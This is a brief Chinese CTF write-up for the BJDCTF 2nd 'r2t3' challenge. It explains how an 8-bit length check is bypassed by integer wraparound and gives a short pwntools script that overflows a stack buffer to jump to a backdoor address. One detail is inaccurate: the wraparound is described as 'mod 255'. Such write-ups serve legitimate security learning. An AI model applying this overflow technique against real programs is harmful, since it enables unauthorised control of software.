做题遇到了,以后补一下先上个例题

BJDCTF 2nd r2t3

有一个长度的检查

image.png
image.png

这个 v3 是一个无符号数,最大只能 255,如果超过的话就会进行 mod 255
所以可以传入一个总共是 0x105 的,这样他的得到的就是 6 是符合长度限制的,从而绕过 if 的检测

dest 的大小是 0x11h,加上 ebp 的 0x4h,所以需要在前面填充 0x15h
程序中提供了后门 0x804858B

image.png
image.png

exp

1
2
3
4
5
6
from pwn import *
p=process('pwn')
payload='a'*0x15+p32(0x804858B)
payload+='a'*(0x105-len(payload))
p.sendline(payload)
p.interactive()